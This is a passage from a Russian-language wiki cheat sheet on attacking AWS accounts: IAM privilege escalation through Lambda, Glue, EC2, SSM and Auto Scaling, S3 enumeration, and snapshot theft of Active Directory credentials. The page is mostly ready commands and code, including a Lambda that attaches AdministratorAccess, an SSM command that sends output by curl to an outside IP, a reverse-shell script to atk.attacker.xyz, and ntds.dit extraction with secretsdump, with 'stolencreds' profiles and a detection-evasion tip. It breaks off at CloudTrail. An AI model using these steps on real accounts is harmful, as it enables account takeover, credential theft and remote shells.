=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
